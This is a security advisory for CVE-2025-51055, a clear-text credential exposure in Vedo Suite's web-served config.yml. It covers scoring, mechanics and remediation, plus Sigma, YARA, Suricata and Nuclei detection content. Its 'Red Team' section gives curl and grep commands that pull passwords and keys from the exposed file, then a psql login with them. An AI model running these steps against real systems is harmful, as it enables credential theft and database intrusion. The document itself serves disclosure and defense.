CVE-2025-51055

Executive Summary

CVE-2025-51055 exposes a critical security flaw in Vedo Suite version 2024.17, where credentials, secret keys, and database information are stored in clear text within the /api_vedo/configuration/config.yml file. This insecure data storage vulnerability (CWE-312) allows any attacker with network access to the application to retrieve sensitive credentials without authentication, leading to full system compromise. The vulnerability is publicly known, and while no exploit code or Nuclei template is currently available, the exposure is trivial to exploit manually.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level misconfiguration in the Vedo Suite software. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerable endpoint is accessible over the network.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full disclosure of credentials and secrets.
• Integrity Impact: High (I:H) – Stolen credentials can be used to modify data.
• Availability Impact: High (A:H) – Attackers can disrupt services using obtained credentials.

Threat Level: Critical. The EPSS score is 0.0% due to recent disclosure, but exploitation is trivial and expected to increase rapidly.

Deep Dive & Mechanics

The vulnerability resides in the Vedo Suite application, specifically in the file /api_vedo/configuration/config.yml. This YAML configuration file is served by the web server without proper access controls, making it readable by any unauthenticated user who can reach the endpoint. The file contains:

• Clear-text credentials: Usernames and passwords for database and application services.
• Secret keys: API keys, encryption keys, or other secrets used for authentication and data protection.
• Database information: Connection strings, hostnames, ports, and database names.

The root cause is a failure to follow secure coding practices: sensitive data should never be stored in plaintext, and configuration files should be placed outside the web root or protected by authentication. The file is likely served by a static file handler or a misconfigured API endpoint.

Attack Scenario:

1. An attacker scans for Vedo Suite instances using Shodan or manual reconnaissance.
2. The attacker sends a GET request to http://target/api_vedo/configuration/config.yml.
3. The server returns the file contents, revealing credentials.
4. The attacker uses these credentials to access the database, other services, or the application backend.

Vulnerable vs. Patched Code

Vulnerable Code (config.yml):

database:
  host: db.example.com
  port: 5432
  name: vedo_prod
  user: admin
  password: SuperSecret123!
api_keys:
  secret_key: sk-abc123def456
  encryption_key: enc-key-xyz789

Patched Code (Expected):

• The file should be moved outside the web root (e.g., /etc/vedo/config.yml).
• Credentials should be stored using environment variables or a secrets manager.
• The endpoint should require authentication (e.g., JWT token) and be restricted to admin users.
• Example secure configuration:

database:
  host: ${DB_HOST}
  port: ${DB_PORT}
  name: ${DB_NAME}
  user: ${DB_USER}
  password: ${DB_PASSWORD}
api_keys:
  secret_key: ${SECRET_KEY}
  encryption_key: ${ENCRYPTION_KEY}

Exploitation & Lab Setup

Red Team (Exploitation)

Manual Exploitation:

1. Identify target: http://target-vedo.local
2. Request the config file:

curl -s http://target-vedo.local/api_vedo/configuration/config.yml

3. Parse the output to extract credentials:

curl -s http://target-vedo.local/api_vedo/configuration/config.yml | grep -E "(password|secret|key)"

4. Use extracted credentials to access the database:

psql -h db.example.com -U admin -d vedo_prod -W

5. Alternatively, use API keys to authenticate to other services.

Automated Scanning (Nuclei): No Nuclei template is available. However, a custom template can be created:

id: vedo-config-exposure
info:
  name: Vedo Suite Config Exposure
  severity: critical
  description: Detects exposed config.yml file in Vedo Suite
requests:
  - method: GET
    path:
      - "{{BaseURL}}/api_vedo/configuration/config.yml"
    matchers:
      - type: word
        words:
          - "password:"
          - "secret_key:"
          - "database:"

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /api_vedo/configuration/config.yml.
• Alert on any successful response (HTTP 200) to this endpoint.
• Use the Sigma rule below to detect exploitation attempts.

Defense:

• Immediately restrict access to the config file using web server rules (e.g., .htaccess or Nginx deny all).
• Rotate all credentials and secrets found in the exposed file.
• Implement authentication for the API endpoint.
• Move configuration files outside the web root.

Indicators of Compromise (IOCs)

• File Path: /api_vedo/configuration/config.yml
• HTTP Request Pattern: GET /api_vedo/configuration/config.yml
• Response Content: YAML containing password:, secret_key:, database:
• Network Traffic: Outbound connections from the attacker to the database server using stolen credentials.
• Log Entries: Web server logs showing 200 responses to the config endpoint from unusual IPs.

Detection Engineering

YARA Rule

rule vedo_config_exposure {
    meta:
        description = "Detects Vedo Suite config.yml exposure"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $s1 = "password:" nocase
        $s2 = "secret_key:" nocase
        $s3 = "database:" nocase
        $s4 = "config.yml" nocase
    condition:
        all of ($s*) and filesize < 100KB
}

Sigma Rule

title: Vedo Suite Config File Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to access the Vedo Suite config.yml file
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api_vedo/configuration/config.yml'
    condition: selection
falsepositives:
    - Legitimate admin access (should be rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"Vedo Suite Config File Exposure"; flow:to_server; content:"GET"; http_method; content:"/api_vedo/configuration/config.yml"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Add a web server rule to deny access to /api_vedo/configuration/config.yml:
   • Apache: <Files "config.yml"> Require all denied </Files>
   • Nginx: location /api_vedo/configuration/config.yml { deny all; }
2. Rotate Credentials: Change all passwords, API keys, and secrets found in the exposed file.
3. Move Config File: Relocate the configuration file outside the web root (e.g., /etc/vedo/).

Long-Term Fixes:

• Implement authentication for all API endpoints.
• Use environment variables or a secrets manager (e.g., HashiCorp Vault) for sensitive data.
• Conduct a security audit of the application to identify similar issues.
• Apply the principle of least privilege to file permissions.

Patch Status: No official patch is available from Vedo. The vendor has not acknowledged the vulnerability. Users should apply the mitigations above and monitor for updates.

Valters IT